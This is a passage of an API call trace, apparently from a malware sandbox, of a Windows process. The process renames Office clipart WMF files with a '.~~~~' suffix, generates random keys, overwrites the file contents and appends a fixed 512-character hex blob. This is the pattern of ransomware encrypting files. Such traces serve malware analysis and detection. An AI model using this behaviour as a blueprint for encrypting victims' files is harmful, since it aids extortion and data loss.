	[0105.921] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.921] CloseHandle (hObject=0x130) returned 1
	[0105.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0105.921] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.~~~~")) returned 1
	[0105.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0105.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.922] GetLastError () returned 0x0
	[0105.923] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.924] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.924] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.924] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.924] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22591441966) returned 1
	[0105.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8cf9b10, dwHighDateTime=0x1d60e1e)) 
	[0105.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.924] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d2f0
	[0105.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d2f0 | out: hHeap=0x300000) returned 1
	[0105.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0105.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872300
	[0105.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0105.925] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.925] GetLastError () returned 0x0
	[0105.925] GetLastError () returned 0x0
	[0105.926] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.926] GetLastError () returned 0x0
	[0105.926] GetLastError () returned 0x0
	[0105.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff260, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.929] WriteFile (in: hFile=0x130, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0xda0, lpOverlapped=0x0) returned 1
	[0105.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0105.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.930] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.930] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.930] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.930] CloseHandle (hObject=0x130) returned 1
	[0105.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0105.931] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.~~~~")) returned 1
	[0105.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0105.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.932] GetLastError () returned 0x0
	[0105.932] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.933] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.933] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.934] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22592371810) returned 1
	[0105.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8d1fc70, dwHighDateTime=0x1d60e1e)) 
	[0105.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d328
	[0105.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d328 | out: hHeap=0x300000) returned 1
	[0105.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0105.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872398
	[0105.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0105.934] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.935] GetLastError () returned 0x0
	[0105.935] GetLastError () returned 0x0
	[0105.935] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.935] GetLastError () returned 0x0
	[0105.935] GetLastError () returned 0x0
	[0105.957] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff328, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.957] WriteFile (in: hFile=0x130, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0xcd8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0xcd8, lpOverlapped=0x0) returned 1
	[0105.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0105.959] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.959] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.959] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.960] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.960] CloseHandle (hObject=0x130) returned 1
	[0105.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.968] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.~~~~")) returned 1
	[0105.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.972] GetLastError () returned 0x0
	[0105.972] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.974] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.974] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.974] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22596394981) returned 1
	[0105.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8d6bf30, dwHighDateTime=0x1d60e1e)) 
	[0105.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d398
	[0105.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d398 | out: hHeap=0x300000) returned 1
	[0105.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872430
	[0105.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.975] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.975] GetLastError () returned 0x0
	[0105.975] GetLastError () returned 0x0
	[0105.975] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.975] GetLastError () returned 0x0
	[0105.975] GetLastError () returned 0x0
	[0105.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff5bf0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.983] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0xa410, lpOverlapped=0x0) returned 1
	[0105.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0105.988] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.988] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.988] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.988] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.988] CloseHandle (hObject=0x130) returned 1
	[0105.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.989] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.~~~~")) returned 1
	[0105.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0105.990] GetLastError () returned 0x0
	[0105.990] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0105.991] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.992] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0105.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0105.992] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22598183295) returned 1
	[0105.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8d92090, dwHighDateTime=0x1d60e1e)) 
	[0105.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0105.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0105.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0105.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d3d0
	[0105.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d3d0 | out: hHeap=0x300000) returned 1
	[0105.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872560
	[0105.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.992] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0105.993] GetLastError () returned 0x0
	[0105.993] GetLastError () returned 0x0
	[0105.993] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0105.993] GetLastError () returned 0x0
	[0105.993] GetLastError () returned 0x0
	[0106.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff23c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.022] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0xdc4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0xdc4, lpOverlapped=0x0) returned 1
	[0106.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.023] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.023] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.024] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.024] CloseHandle (hObject=0x130) returned 1
	[0106.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0106.024] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.~~~~")) returned 1
	[0106.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0106.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0106.025] GetLastError () returned 0x0
	[0106.025] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.027] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.027] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0106.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0106.027] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22601734842) returned 1
	[0106.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa8e044b0, dwHighDateTime=0x1d60e1e)) 
	[0106.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0106.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0106.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0106.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cd60
	[0106.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd60 | out: hHeap=0x300000) returned 1
	[0106.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0106.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28725f8
	[0106.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0106.028] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.028] GetLastError () returned 0x0
	[0106.028] GetLastError () returned 0x0
	[0106.028] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.029] GetLastError () returned 0x0
	[0106.029] GetLastError () returned 0x0
	[0106.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffeb8a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.228] WriteFile (in: hFile=0x130, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x1476, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x26dfec0*=0x1476, lpOverlapped=0x0) returned 1
	[0106.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.230] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
